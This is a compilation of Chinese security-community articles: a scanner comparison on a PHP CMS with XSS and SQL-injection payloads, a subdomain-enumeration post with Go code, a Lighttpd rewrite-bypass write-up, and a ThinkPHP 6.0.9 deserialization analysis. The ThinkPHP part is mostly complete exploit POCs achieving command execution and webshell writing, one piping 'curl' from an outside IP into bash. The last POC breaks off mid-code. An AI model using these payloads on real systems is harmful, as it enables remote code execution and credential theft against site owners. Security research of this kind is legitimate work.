value="<?php echo $username;?>" placeholder="Enter Desired Username *">
</div>
问题和上一个文件类似，仅用`mysqli_real_escape_string`函数进行了过滤，最后在 input 标签内输出，因此只需要闭合 input
标签即可触发 XSS：`"><script>alert(0)</script>`
由于其他几个文件的 XSS 漏洞也是相似原理，因此不再赘述。
### 3、cposts.php文件
根据 XRAY 提供的信息：
cid 参数存在问题，找到`cposts.php`文件，关键代码如下：
if(isset($_GET['cid'])) {
$cid = mysqli_real_escape_string($con, $_GET['cid']);
// find total number of posts to determine number of pages for pagination
$q = "SELECT * FROM cms_posts where post_cat_id = $cid";
$result = mysqli_query($con, $q);
$total_posts = mysqli_num_rows($result);
$total_pages = ceil($total_posts / POSTSPERPAGE);
// if $total_pages is 0, set it to 1 so pagination will not look for page 0
if($total_pages < 1) {
$total_pages = 1;
}
...
$q1 = "SELECT cms_posts.*, cms_users.user_image FROM cms_posts
INNER JOIN cms_users ON cms_posts.post_author = cms_users.user_uname
WHERE post_cat_id = '$cid'
AND post_status = 'Published'
ORDER BY post_date DESC " . $limit_clause;
// get category name from database to display in alert box
$q2 = "SELECT cat_title FROM cms_categories WHERE cat_id = $cid";
$result = mysqli_query($con, $q2);
$cat_title = mysqli_fetch_array($result);
...
同样，仅对注入语句中的关键字符进行转义，但是关键点来了
$q = "SELECT * FROM cms_posts where post_cat_id = $cid";
压根不需要闭合单引号，直接传入了`$cid`变量
根据 XRAY 提供的 payload 测试如下：
漏洞的确存在，可通过以下 payload 获取账号密码：
union all select concat(0x7e,user_uname,user_pass,user()) from cms_users limit 1,1
### 4、cposts.php文件
根据 XRAY 提供的信息：
存在问题参数的为 user_name，找到`cposts.php`文件：
<?php
if(isset($_GET['source'])) {
$source = $_GET['source'];
} else {
$source = "";
}
switch($source) {
case 'add_user':
include 'admin_includes/admin_add_user.php';
break;
case 'edit_user':
include 'admin_includes/admin_edit_user.php';
break;
case 'c':
echo 'c';
break;
default:
include 'admin_includes/admin_view_all_users.php';
}
?>
转到`admin_edit_user.php`文件，关键内容如下：
if(isset($_POST['updateusersubmit'])) {
// get all input data
$user_id = $_POST['user_id'];
$user_uname = $_POST['user_uname'];
...
if(empty($user_uname) || empty($user_email) || empty($user_pass1) || empty($user_pass2)) {
$div_class = 'danger';
$div_msg = 'Please fill in all required fields.';
} elseif($user_pass1 !== $user_pass2) {
$div_class = 'danger';
$div_msg = 'Password fields do not match.';
} elseif(!$user_email_val) {
$div_class = 'danger';
$div_msg = 'Please enter a valid email address.';
} else {
// encrypt password (see documentation on php.net)
$options =['cost'=>HASHCOST];
$user_pass = password_hash($user_pass1, PASSWORD_BCRYPT, $options);
move_uploaded_file($image_tmp, "../images/$user_image");
$q = "UPDATE cms_users SET user_uname = '$user_uname',
user_pass = '$user_pass', user_fname = '$user_fname',
user_lname = '$user_lname', user_email = '$user_email',
user_image = '$user_image', user_role = '$user_role',
user_status = '$user_status' WHERE user_id = $user_id";
$result = mysqli_query($con, $q);
...
通过 POST 取得`user_name`参数以后，未经任何过滤，直接带入 update 型sql 语句，因此导致了 update 型 sql
注入，不过此注入在后台，属于后台注入（虽然后台可以越权访问）
此处注入的 payload 就不给出了，有兴趣的朋友可以自己构造。其他几个 sql 注入，漏洞原理相似，也不过多分析。
### 5、users.php文件
根据 XRAY 提供的信息：
属于 struts 系列漏洞中的s2-007漏洞，但是这套程序是由 PHP 写的，因此属于误报。
### 0x04 对比分析
复现完之后我同样用 awvs 扫描了一遍该站点，部分漏洞列表如下：
我统计了一下，AWVS 一共测试出7 个 SQL 注入漏洞，存在于6 个文件，XRAY 一共测试出11个 SQL 漏洞，存在于4 个文件中。
其中 XRAY 没有测试出来而 AWVS 测试出的文件为：`index.php`、`aposts.php`以及`sposts.php`
AWVS 没有测试出来而 XRAY 测试出的文件为：`users.php`
AWVS 和 XRAY 共同测试出的文件为：`cposts.php`、`post.php`、`posts.php`
对于`index.php`、`aposts.php`以及`sposts.php`文件，我看了一下报问题的 p 参数，每个文件的核心代码如下：
if(isset($_GET['p'])) {
$page = mysqli_real_escape_string($con, $_GET['p']);
// the 1st number in LIMIT is a multiple of POSTSPERPAGE starting at 0
$first_limit = ($page - 1) * POSTSPERPAGE; // POSTSPERPAGE = 10
} else {
// $first_limit is needed for LIMIT clause, $page is needed for setting
// active class of pagination buttons
$first_limit = 0;
$page = 1;
}
// create LIMIT clause
$limit_clause = "LIMIT $first_limit, " . POSTSPERPAGE;
`$first_limit = ($page - 1) *
POSTSPERPAGE;`这句话将`first_limit`强制变成了数值型，实际上我们是没办法控制注入语句的，AWVS基于以下信息：
URL encoded GET input p was set to \
Error message found:
You have an error in your SQL syntax
发现 sql syntax直接判定为注入，但实际上是因为传入的内容为-10导致出现了这个问题。
对于 p 参数，如果传入的字符中第一个不是数字，那么返回的结果，first_limit 都是 -10，传入-10 拼接到 SQL 语句后报错，如下图：
以上三个文件均为 awvs 的误报（xray 牛逼）。
对于 XSS 漏洞，AWVS 一共测试出8 个漏洞，存在于5 个文件中，XRAY 一共测试出46 个漏洞，存在于7 个文件中
其中 XRAY 没有测试出来而 AWVS 测试出的文件为：无
AWVS 没有测试出来而 XRAY 测试出的文件为：`posts.php`、`users.php`
AWVS 和 XRAY
共同测试出的文件为：`aposts.php`、`cposts.php`、`post.php`、`sposts.php`、`registration.php`
## 0x05 总结
对于本CMS 来说，相比之下，xray 更有优势，而且由于被动性的优势，xray 能够完成更深层次的测试，比如那些扫描器无法扫描到地址，
现在xray迭代更新比较快，高级版的插件也不断在开发中，另一方面，其实 xray 的能力很受爬虫性能（访问页面）的影响，爬取（访问）的页面越多，xray
挖掘出漏洞的可能越大，所以 xray 值得尝试。
总的来说，awvs 更适合那些去写渗透测报告的朋友，而 xray 更适合那些去挖 src 的朋友，当你在漏洞挖掘的过程中开着 xray
的代理，或许能够带给你意想不到的结果。 | 社区文章 |
前言
工欲善其事，必先利其器。
关注“杂术馆”，来与小编一起成长吧。
信息收集（Information
Gathering），信息收集是指通过各种方式获取所需要的信息。信息收集是渗透测试的基础，也是最关键的一步。如何快速的实现子域名收集，获取一个企业相关的资产信息，小编来带大家看看。我所知道的方式，关注公众号“杂术馆”，来与一个喜欢渗透测试的小编一起进步吧。
### 子域名枚举那些事
1 域传送漏洞
dig @ns.example.com example=.com AXFR
windows 下面使用相关的命令如下：
2 枚举域名
比如很经典的有lijiejie大牛的相关脚本
https://github.com/lijiejie/subDomainsBrute lijiejie
https://github.com/ring04h/wydomain zhuzhuxia
### 杂术馆小编发现的一些小技巧
小编一直在默默寻找可以一些特别有用的接口，最终发现了三个网站提供的接口还不错，给大家分享分享。
http://api.hackertarget.com/reversedns/?q=youku.com
https://crt.sh/?q=%25baidu.com
http://i.links.cn/subdomain/baidu.com.html
详细如下图所示
### 代码实现
由于时间问题，小编花了半个小时帮大家写了两个接口的。如果大家需要跟小编一起学习完成这个子域名收集的代码的话。就关注我们的公众号“杂术馆”，想要代码的可以关注公众号，回复“subdomain”获取，跟小编一起交流吧。下面贴上小编写的部分代码：
func SubdomainScanhackertarget(domain string) []DomainInfo {
defer func() { // 必须要先声明defer，否则不能捕获到panic异常
if err := recover(); err != nil {
// fmt.Println(err) // 这里的err其实就是panic传入的内容，55
}
}()
urls, err := url.Parse("http://api.hackertarget.com/reversedns/?q=" + domain)
checkErr(err)
client := &http.Client{}
request, err := client.Get(urls.String())
checkErr(err)
robots, err := ioutil.ReadAll(request.Body)
request.Body.Close()
checkErr(err)
//fmt.Print(string(robots))
wangzhans := strings.Split(string(robots), "\n")
var Domaindata []DomainInfo
for i := 0; i < len(wangzhans); i++ {
wangzhan := strings.Split(wangzhans[i], " ")
if len(wangzhan) == 2 {
//fmt.Println(wangzhan[1])
//domainlist[wangzhan[1]]=wangzhan[0]
title := ""
domaininfos := &DomainInfo{}
domaininfos.Domain = wangzhan[1]
domaininfos.Ip = wangzhan[0]
domaininfos.Title = title
domaininfos.Souce = "hackertarget"
//Subnetadd(wangzhan[0])
Domaindata = append(Domaindata, *domaininfos)
}
}
return Domaindata
}
效果如下图所示：
如何快速的获取子域名信息，小编的介绍到这里就差不多了。如果有兴趣的小伙伴可以关注我们的公众号，回复“subdomain”下载源码，跟小编一起交流学习。 | 社区文章 |
# 无效HTTP请求绕过Lighttpd重写规则
|
##### 译文声明
本文是翻译文章，文章来源：https://digi.ninja/
原文地址：<https://digi.ninja/blog/lighttpd_rewrite_bypass.php>
译文仅供参考，具体内容表达以及含义原文为准。
## 开始测试
作为测试的一部分，客户端提供了对根目录的列目录功能。在用Burp
Intruder模块发起完全扫描之前，我通过repeater模块，在几个选择的页面中仔细查找，发现了secret.html，我感觉这个页面有些奇怪，于是发了一个请求并得到了如下的秘密内容：
这样就能查看秘密内容？也太easy了吧，但是我没有烦恼，继续探索。
我在浏览器中输入那个url地址，结果却是“对不起，你无法查看内容”，如图
这跟我想的不一样，我想这可能跟session有关，但是看Burp代理中的请求，貌似一样啊。
虽然Firefox中有一些额外的headers，但那也是正常的啊。
burp代理如图：
我琢磨着如果不用Firefox，使用curl能否看到内容？我直接把burp repeater中的请求复制过来，粘贴到命令行中：
奇怪的是，url粘贴的时候竟然出现了错误，少了一个/，但是我可以手工修改过来，请求后结果如图：
结果还是不允许查看，这跟我预想的也不一样。于是我直接从burp中获取curl命令并且运行，结果如图：
没有返回东西，而且url地址也不对，还是少了一个‘/’，这就有点头疼了。
此时，我应该意识到哪里有问题，但是没有，我还是直接加上‘/’，继续尝试请求，结果如图：
结果还是一样，这就奇了怪了。Burp能够访问到秘密的内容，Firefox和curl却不能。
我们再试试Netcat，我先建立一个连接，然后从burp repeater中复制url到nc中执行，如图：
没有返回内容，连接是开着的，但是服务器没有响应。也许我哪里输错了，于是我将请求放到一个文件中，然后通过文件的方式发起请求：
连接还是被挂起，没有响应。现在，我有点蒙，整不明白。梳理一下情况：
Burp能够访问秘密内容
Curl使用burp提供的url无法访问秘密内容
Burp中提供的curl命令也无法访问秘密内容
Netcat的任何尝试也都是挂起状态
请求中肯定有不同的地方而我没有发现。我们往下一层走，用wireshark抓包看看。
首先是burp 请求：
然后是burp生成的curl命令：
有几个不同的地方，这个请求带有curl 的user agent和接受的header。
WAFs和其他简单的防御系统都会对user agent进行检查，所以有可能就是这么简单。我们去掉额外的headers再尝试一遍：
盯着这些请求仔细看，看似没有区别，但我还是发现了其中的差异，
burp请求的是secret.html，而curl请求的是/secret.html。这个额外的‘/’肯定就是差异所在，
这也解释了为什么从burp复制的url和burp生成的curl命令都少了一个‘/’。
Burp能够发起请求并读到内容，因为文件名在请求中已经指定，而curl则要求url包含文件名。
由于我无法使用curl复现这个请求，所以使用Netcat试试，看看能否搞明白为什么失败。我们看看wireshark中的Netcat连接，如图：
对比查看两个请求，都是请求的secret.html，而不是/secret.html，但是肯定有细微的差别。
我们来看看十六进制视图是怎样的：
Burp十六进制视图
Netcat十六进制视图：
盯着看了一会儿，终于发现了不一致的地方，burp使用的是DOS形式的行尾结束符(rn)，而Netcat使用的是Unix结束符(n)。
因为之前我把请求放在文件中，使用vim的话，行尾结束符就会被很容易的修改，打开文件，输入如下内容：
然后保存。如果你不擅长使用vim，你也可以使用dos2Unix包中的unix2dos应用。
转换之后我们再来试一下：
耶，成功了，可以查看到内容。现在我可以通过Netcat复现请求，我们来看看究竟是不是斜线‘/’的问题。加上‘/’之后再试试看：
我们得到的是无法查看。请求secret.html可以访问，请求/secret.html被拒绝。
这种请求无法通过浏览器或者其他工具，因为它们将整个url视为参数，只有那些把主机和文件看做两个独立实体的才能解析这种请求。
虽然一开始我很蒙，搞不明白其中的细微差别，不过现在我可以复现这个问题了。
我觉得我应该找个时间跟开发者聊一聊，看他们知不知道这个问题。
## 继续深挖
跟做应用测试一样，客户端也要检查服务器配置，因此他们提供了Lighttpd的配置，当我发现下面这一样后，问题随之解决。
看起来非常简单，任何请求以/secret.html开头的页面将会在内部被重定向到/not_permitted.html页面。
但是当我请求secret.html，而不是/secret.html，这个规则就不适用了，我的请求并没有被重定向，所以我能访问到秘密内容。
明白这点后，我想看看是否能够通过curl或者浏览器来查看秘密内容。第一次尝试如下url：
我尝试了curl和很多浏览器，但他们都一样，在发请求之前进行了简化，所以最后还是请求的/secret.html。
我尝试了多重../组合，都失败了。最终下面这条请求成功了：
我发现‘.’号会简化，但是多余的‘/’不会。所以下面的url是有效的并且能够访问到秘密内容，因为请求的是//secret.html，这跟它们的正则不匹配。
在众多浏览器中确认过这个url有效之后，我就可以把它作为证据写到报告里作为漏洞利用的例子。
虽然花了一些时间，但总比直接给他们展示一张burp的repeater截图说：“嘿，我看到了你们的秘密内容，但不知道是怎么看到的”。
希望你看完我是符合调试这个漏洞对你有所帮助。这展示了计算机的确定性，任何事情都有原因。
有时候只是需要花点时间来弄明白它的规则，当你知道游戏规则后，你就可以在游戏中轻而易举的获胜，正所谓知己知彼，百战不殆。
## 测试其他web服务器
我决定对Apache，Nginx和IIS也进行测试，但是都返回“400 Bad request”响应。
### Apache
查看错误日志文件，也多了一条记录：
### Nginx
Nginx中没有错误日志。
### IIS
我没有权限访问IIS日志文件来查看是否有错误日志。
## 防御
不要在根目录存放秘密文件。如果存放在根目录意外，它依然可以被其他页面调用，但是无法直接通过url访问；
代码层防御，增加过滤函数，添加必要的‘/’，移除所有额外的‘/’；
应用如下规则，提示403禁止访问页面：
Server.errorfile-prefix选项可以设置为返回一个自定义的403错误页面。
如果你想修复重写规则，最简单的办法就是通过正则匹配移除‘/’:
这条规则会拦截所有访问包含secret.html的请求。如果类似这种文件在这个网站中是唯一的，那么这条规则十分有效。
如果其他人在网站上有一个view_secret.html文件，那么这条规则就会给其他人带来一堆问题，他们看不到自己的页面并且苦恼的琢磨着为什么。
下面这个规则更好，无论secret.html前面跟着多少个‘/’，都重定向到禁止页面。
我觉得这也不是最好的解决方案，因为可能会有其他字符插入到文件名中来绕过规则。
最后一条建议依赖于secret.html的目的。
如果它是一个模板文件，被其他文件引用，那么可以在文件中添加一些逻辑，只有通过正确访问才显示内容，否则不显示内容，
比如对引用它的文件做相同的认证和授权检查。
审核人：yiwang 编辑：边边 | 社区文章 |
# 前言
其实这条链子在6.0.7的时候就有师傅发了出来,只是在6.0.9的版本中并没有修这条链子,而且之前复现的是6.0.1的比较低版本的,就想跟着师傅的文章分析一遍这个新的toString后半链,再加上一点自己之前找的其他触发toString的点做一个POC的收集
# 环境搭建
直接用composer安装
composer create-project topthink/think tp6.0.9 --prefer-dist
app/controller/Index.php控制器
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
if(isset($_POST['data'])){
unserialize(base64_decode($_POST['data']));
}else{
highlight_file(__FILE__);
}
}
}
# 第一条链子
## 漏洞分析
入口点:vendor\topthink\think-orm\src\Model.php
和之前的链子一样,但是到6.0.9的版本之前后面toString的链子已经不能用了,不过可以去寻找其他的toString
还是一样的方法跟进到db方法
$this->lazySave参数可控,进入if调用save函数
跟进save()
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
发现这句语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
不过要执行到这句语句需要满足一个if判断条件,否则会直接返回false
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
跟进isEmpty()
$this->data只要不为空即可,然后$this->trigger('BeforeWrite')的值需要为true
跟进trigger()
直接让$this->withEvent的值为false进入if返回true即可
这样就执行到了三目运算符语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
分别跟进updateData和insertData去寻找可利用的地方
跟进updateData
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->startTrans();
try {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
$db->commit();
// 更新回调
$this->trigger('AfterUpdate');
return true;
} catch (\Exception $e) {
$db->rollback();
throw $e;
}
}
和之前复现的一样,下一个利用点是checkAllowFields
但是要进入并调用该函数，需要先通过前面两处的if语句
第一个if我们开始已经让$this->trigger()的返回值为true了,不用进入这个if
第二个if要判断$data是否为空,这就要跟进getChangeData去看看了
跟进getChangeData
值需要让$this->force为true就可以直接返回可控的$data,然后不为空就可以不用进入第二个if
跟进一下checkAllowFields
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
当$this->field不为空并且$this->schema为空的时候可以调用db函数
跟进db
$this->table可控,字符拼接去调用toString
toString方法位于vendor\topthink\framework\src\think\route\Url.php
public function __toString()
{
return $this->build();
}
跟进build
public function build()
{
// 解析URL
$url = $this->url;
$suffix = $this->suffix;
$domain = $this->domain;
$request = $this->app->request;
$vars = $this->vars;
if (0 === strpos($url, '[') && $pos = strpos($url, ']')) {
// [name] 表示使用路由命名标识生成URL
$name = substr($url, 1, $pos - 1);
$url = 'name' . substr($url, $pos + 1);
}
if (false === strpos($url, '://') && 0 !== strpos($url, '/')) {
$info = parse_url($url);
$url = !empty($info['path']) ? $info['path'] : '';
if (isset($info['fragment'])) {
// 解析锚点
$anchor = $info['fragment'];
if (false !== strpos($anchor, '?')) {
// 解析参数
[$anchor, $info['query']] = explode('?', $anchor, 2);
}
if (false !== strpos($anchor, '@')) {
// 解析域名
[$anchor, $domain] = explode('@', $anchor, 2);
}
} elseif (strpos($url, '@') && false === strpos($url, '\\')) {
// 解析域名
[$url, $domain] = explode('@', $url, 2);
}
}
if ($url) {
$checkName = isset($name) ? $name : $url . (isset($info['query']) ? '?' . $info['query'] : '');
$checkDomain = $domain && is_string($domain) ? $domain : null;
$rule = $this->route->getName($checkName, $checkDomain);
if (empty($rule) && isset($info['query'])) {
$rule = $this->route->getName($url, $checkDomain);
// 解析地址里面参数 合并到vars
parse_str($info['query'], $params);
$vars = array_merge($params, $vars);
unset($info['query']);
}
}
if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) {
// 匹配路由命名标识
$url = $match[0];
if ($domain && !empty($match[1])) {
$domain = $match[1];
}
if (!is_null($match[2])) {
$suffix = $match[2];
}
} elseif (!empty($rule) && isset($name)) {
throw new \InvalidArgumentException('route name not exists:' . $name);
} else {
// 检测URL绑定
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
if ($bind && 0 === strpos($url, $bind)) {
$url = substr($url, strlen($bind) + 1);
} else {
$binds = $this->route->getBind();
foreach ($binds as $key => $val) {
if (is_string($val) && 0 === strpos($url, $val) && substr_count($val, '/') > 1) {
$url = substr($url, strlen($val) + 1);
$domain = $key;
break;
}
}
}
// 路由标识不存在 直接解析
$url = $this->parseUrl($url, $domain);
if (isset($info['query'])) {
// 解析地址里面参数 合并到vars
parse_str($info['query'], $params);
$vars = array_merge($params, $vars);
}
}
// 还原URL分隔符
$depr = $this->route->config('pathinfo_depr');
$url = str_replace('/', $depr, $url);
$file = $request->baseFile();
if ($file && 0 !== strpos($request->url(), $file)) {
$file = str_replace('\\', '/', dirname($file));
}
$url = rtrim($file, '/') . '/' . $url;
// URL后缀
if ('/' == substr($url, -1) || '' == $url) {
$suffix = '';
} else {
$suffix = $this->parseSuffix($suffix);
}
// 锚点
$anchor = !empty($anchor) ? '#' . $anchor : '';
// 参数组装
if (!empty($vars)) {
// 添加参数
if ($this->route->config('url_common_param')) {
$vars = http_build_query($vars);
$url .= $suffix . ($vars ? '?' . $vars : '') . $anchor;
} else {
foreach ($vars as $var => $val) {
$val = (string) $val;
if ('' !== $val) {
$url .= $depr . $var . $depr . urlencode($val);
}
}
$url .= $suffix . $anchor;
}
} else {
$url .= $suffix . $anchor;
}
// 检测域名
$domain = $this->parseDomain($url, $domain);
// URL组装
return $domain . rtrim($this->root, '/') . '/' . ltrim($url, '/');
}
这个方法很多东西,挨着跟,这些参数都是可控的
$url = $this->url;
$suffix = $this->suffix;
$domain = $this->domain;
$request = $this->app->request;
$vars = $this->vars;
在build方法里面存在这样两条条语句
$rule = $this->route->getName($checkName, $checkDomain);
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
这里想到去调用任意类的call方法,由于getName的参数不可控,所以这里选择了参数可控的getDomainBind函数
寻找可用的call方法定位到vendor\topthink\framework\src\think\Validate.php
$args是可控的$domain和方法名
这个call方法返回了应该call_user_func_array调用了此类的is方法
跟进is
public function is($value, string $rule, array $data = []): bool
{
switch (Str::camel($rule)) {
case 'require':
// 必须
$result = !empty($value) || '0' == $value;
break;
case 'accepted':
// 接受
$result = in_array($value, ['1', 'on', 'yes']);
break;
case 'date':
// 是否是一个有效日期
$result = false !== strtotime($value);
break;
case 'activeUrl':
// 是否为有效的网址
$result = checkdnsrr($value);
break;
case 'boolean':
case 'bool':
// 是否为布尔值
$result = in_array($value, [true, false, 0, 1, '0', '1'], true);
break;
case 'number':
$result = ctype_digit((string) $value);
break;
case 'alphaNum':
$result = ctype_alnum($value);
break;
case 'array':
// 是否为数组
$result = is_array($value);
break;
case 'file':
$result = $value instanceof File;
break;
case 'image':
$result = $value instanceof File && in_array($this->getImageType($value->getRealPath()), [1, 2, 3, 6]);
break;
case 'token':
$result = $this->token($value, '__token__', $data);
break;
default:
if (isset($this->type[$rule])) {
// 注册的验证规则
$result = call_user_func_array($this->type[$rule], [$value]);
} elseif (function_exists('ctype_' . $rule)) {
// ctype验证规则
$ctypeFun = 'ctype_' . $rule;
$result = $ctypeFun($value);
} elseif (isset($this->filter[$rule])) {
// Filter_var验证规则
$result = $this->filter($value, $this->filter[$rule]);
} else {
// 正则验证
$result = $this->regex($value, $rule);
}
}
return $result;
}
public function is($value, string $rule, array $data = []): bool
这里的$value是原本的$domain,$rule是"getDomainBind"
所以Switch选择语句进入default
这里$this->type[$rule]相当于$this->type['getDomainBind'],可以控制然后去调用任意类的任意方法,参数是之前的$domain
在vendor\topthink\framework\src\think\view\driver\Php.php下找到了应该display方法
public function display(string $content, array $data = []): void
{
$this->content = $content;
extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}
直接执行了当前传进来的参数,那$domain=<?php system('whoami');?>就可以执行相应的命令
## 漏洞复现
需要注意的是build方法里面的几个if判断,利用可控的值去进入相应的if语句
要想不进入调用getName的那个if语句
if ($url)就要为假,那就让$url为空,让他为空要利用下面的代码
if (false === strpos($url, '://') && 0 !== strpos($url, '/')) {
$info = parse_url($url);
$url = !empty($info['path']) ? $info['path'] : '';
传入一个$url="a:"利用这里把他替换为空
$this->app = 给个public的request属性的任意类
<?php
namespace think {
use think\route\Url;
abstract class Model
{
private $lazySave;
private $exists;
protected $withEvent;
protected $table;
private $data;
private $force;
public function __construct()
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->table = new Url();
$this->force = true;
$this->data = ["1"];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
function __construct()
{
parent::__construct();
}
}
$b = new Pivot();
echo base64_encode(serialize($b));
}
namespace think\route {
use think\Middleware;
use think\Validate;
class Url
{
protected $url;
protected $domain;
protected $app;
protected $route;
public function __construct()
{
$this->url = 'a:';
$this->domain = "<?php system('whoami');?>";
$this->app = new Middleware();
$this->route = new Validate();
}
}
}
namespace think {
use think\view\driver\Php;
class Validate
{
public function __construct()
{
$this->type['getDomainBind'] = [new Php(), 'display'];
}
}
class Middleware
{
public function __construct()
{
$this->request = "2333";
}
}
}
namespace think\view\driver {
class Php
{
public function __construct()
{
}
}
}
# 第二条链子
## 漏洞分析
因为在tp6.0.9中已经抛弃了6.0x反序列化我们利用的toString后面的gadget了,不过在上一条链子已经看到了师傅发掘的另外的toString链,于是和之前一样只要找到可以调用toString的点,就能进行rce
寻找其他的入口点
vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php
跟进save,这是一个抽象类,所以我们应该到其子类去寻找可用的save方法
src/think/filesystem/CacheStore.php
其实我看了看另外几个save方法,就这个最简单了
$this->store可控,可以去调用任意类的set方法,没有则调用__call
这里先出发去找可用的set方法
定位到src/think/cache/driver/File.php
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
跟进getExpireTime
发现没什么可用的
跟进getCacheKey
这里其实就是为了查看进入该方法是否出现错误或者直接return了
所以这里$this->options['hash_type']不能为空
返回了一个字符拼接的值,$this->options['path']可控,又可以去调用上一条链子的__toString
## 漏洞复现
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave;
public function __construct()
{
$this->autosave = false;
}
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $expire;
protected $key;
public function __construct()
{
$this->store = new File();
$this->expire = 1;
$this->key = '1';
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
use think\route\Url;
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => new Url(),
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
}
}
namespace think\route {
use think\Middleware;
use think\Validate;
class Url
{
protected $url;
protected $domain;
protected $app;
protected $route;
public function __construct()
{
$this->url = 'a:';
$this->domain = "<?php system('whoami');?>";
$this->app = new Middleware();
$this->route = new Validate();
}
}
}
namespace think {
use think\view\driver\Php;
class Validate
{
public function __construct()
{
$this->type['getDomainBind'] = [new Php(), 'display'];
}
}
class Middleware
{
public function __construct()
{
$this->request = "2333";
}
}
}
namespace think\view\driver {
class Php
{
public function __construct()
{
}
}
}
# 第三条链子
POC
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`curl 47.93.248.221|bash`";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $key = "1";
public function __construct()
{
$this->store = new File();
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
abstract class Driver
{
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
# 第四条链子
POC
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOz8+";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache
{
protected $store;
protected $key = "1";
public function __construct()
{
$this->store = new File();
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
abstract class Driver
{
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
protected $options = [
'expire' => 1,
'cache_subdir' => false,
'prefix' => false,
'path' => 'php://filter/write=convert.base64-decode/resource=',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['trim']
];
}
}
# 第五条链子
POC
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'DawnT0wn.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;
